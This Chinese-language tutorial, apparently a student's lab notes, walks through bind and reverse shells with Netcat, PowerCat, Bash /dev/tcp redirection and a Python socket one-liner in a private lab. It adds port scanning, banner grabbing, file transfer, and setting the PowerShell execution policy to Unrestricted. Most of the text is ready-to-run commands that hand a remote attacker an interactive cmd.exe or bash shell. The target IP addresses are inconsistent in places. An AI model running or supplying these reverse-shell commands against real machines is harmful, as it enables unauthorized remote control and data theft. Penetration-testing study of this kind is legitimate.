Netcat反弹Shell
1 NC正向反弹shell
Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、
反弹Shell、端口监听和文件传输等操作,常用参数如下:
-c | 指定连接后要执行的shell命令 |
---|---|
-e | 指定连接后要执行的文件名 |
-k | 配置 Socket一直存活(若不想退出 Shell后使监听断开可使用此参数) |
-l | 监听模式 |
-p | 设置本地主机使用的通信端口 |
-u | 使用UDP传输协议,默认为TCP |
-v | 显示指令执行过程,用-vv会更详细 |
1.1 实验机器
机器名称 | 机器IP |
---|---|
攻击靶机 | 192.168.1.5 |
目标靶机 | 192.168.1.14 |
1.2 实验介绍
攻击者机器 192.168.1.5和靶机 192.168.1.14可以相互的访问,这个时候可以使用正向shell
1.3 实验复现
1)在靶机上运行:
nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器 nc64.exe -lvvp 1111 -e /bin/bash linux机器
2)在攻击机上运行以及拿到正向的shell
.\nc64.exe 192.168.1.14 1111
2 NC反向反弹Shell
2.1 实验机器
机器名称 | 机器IP |
---|---|
攻击机器 | 192.168.1.5 |
目标机器 | 192.168.36.135 |
2.2、实验介绍
攻击者机器 192.168.1.5不能直接访问靶机,但是靶机 192.168.3.29可以访问攻击者的机器,这个时候使用反向shell
2.3 实验复现
1)在攻击者机器运行
nc64.exe -lvvp 1111 监听1111端口
2)在靶机上运行 (反弹到公网)
nc64.exe -e C:\Windows\System32\cmd.exe 192.168.1.5 1111 windos机器 nc -e /bin/bash 192.168.3.27 1111 linux机器
3)拿到反向的shell
3 Nc的其他用法
3.1、Banner 的抓取
靶机运行着ssh服务,可以查看服务的版本
nc -nv IP Port
3.2、端口探测
可以查看端口的开放情况
nc -v IP Port
多端口扫描
nc -v -z IP Port[1]-Port[65535]
3.3、端口监听
监听端口,当访问该端口会输出该信息
nc -l -p Port
4、文件传输
接受端:nc -lp Port > file
发送端:nc -vn IP Port < file -q 1 (windows是-z,Linux是-q)
4.1、 接收端文件夹下为空
4.2、 接收端执行命令
nc -lp 3306 > 1.txt
4.3、 发送端执行命令
nc64.exe -vn 192.168.1.52 3306 < 1.txt -w 1
4.4、 接收端接收到文件
5、简易聊天
5.1、vps执行 nc -l -p Port
5.2、靶机执行:nc -vn IPPort
6、连接远程主机
命令 nc -nvv IP port
PowerCat反弹Shell
1 PowerCat介绍
PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。
2 PowerCat安装
1、下载地址
https://github.com/besimorhino/powercat
2、下载下来导入
Import-Module .\powercat.ps1
3、如果提示未能加载指定模块,则可能是权限问题,输入如下代码
Set-ExecutionPolicy Unrestricted
4、输入如下命令可以查看帮助信息
powercat -h
5、如下就是安装成功
3 PowerCat命令PowerCat命令
-l监听连接 -c连接到侦听器 -p要连接或监听的端口 -e执行 -ep执行Powershell -r中继。格式:“-r tcp:10.1.1.1:443” -u通过UDP传输数据 -dns通过dns传输数据 -dnsft DNS故障阈值 -t超时选项。默认值:60 -I输入:文件路径(字符串),字节数组或字符串 -o控制台输出类型:“主机”,“字节”或“字符串” -of输出文件路径 -d连接后断开连接 -rep中继器。断开连接后重新启动 -g生成有效载荷 -ge生成编码的有效载荷 -h打印帮助消息
4 PowerCat实验环境介
两台机器
机器名称 | 机器IP |
---|---|
攻击机器 | 192.168.1.5 |
目标靶机 | 192.168.1.14 |
5 PowerCat和nc正向连接
1、靶机使用powercat执行以下命令
powercat -l -p 8080 -e cmd.exe -v
2、攻击机使用nc执行以下命令
.\nc64.exe 192.168.1.14 8080 -vv
3、查看返回结果
6 PowerCat和nc反向连接
1、靶机使用powercat执行以下命令
powercat -c 192.168.1.5 -p 8888 -v -e cmd.exe
2、攻击机使用nc执行以下命令
nc64.exe -l -p 8888 -vv
3、查看返回结果
7 PowerCat和PowerCat反向连接
1、靶机使用powercat执行以下命令
powercat -c 192.168.1.5 -p 9999 -v -ep
2、攻击机使用powercat执行以下命令
powercat -l -p 9999 -v
3、查看返回结果
8 PowerCat文件传输
1、靶机使用powercat执行以下命令
powercat -l -p 9999 -of test.txt -v
2、攻击机使用powercat执行以下命令
powercat -c 192.168.1.14 -p 9999 -i F:\学习笔记\内网代理\工具\powercat\test.txt -v
3、查看返回结果
Bash反弹shell
1 Bash介绍
Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell
Bash 反弹Shell的命令如下:
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2 bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2
"bash-i"是指打开一个交互式的Shell。
"&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是指标准输出重定向, “2”是指错误输出重定向。
"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出
2 实验介绍
机器名称 | 机器IP |
---|---|
攻击机器 | 192.168.1.5(Windows) |
实验靶机 | 192.168.1.24(Linux) |
3 实验复现
1、攻击机器使用nc执行监听命令
nc -lvvp 9999 监听 TCP nc -lup 9999 监听UDP
2、实验靶机执行连接命令
bash -i >&/dev/tcp/192.168.1.5/9999 0>&1
3、查看结果
Python 反弹Shell
1 Python介绍
Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。
2 Python反弹Shell介绍
python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3 实验介绍
机器名称 | 机器IP |
---|---|
攻击机器 | 192.168.1.5(Windows) |
实验靶机 | 192.168.1.24(Linux) |
4 实验复现
1、攻击机器使用nc执行监听命令
nc -lvvp 1111 监听 TCP
2、实验靶机执行连接命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3、查看结果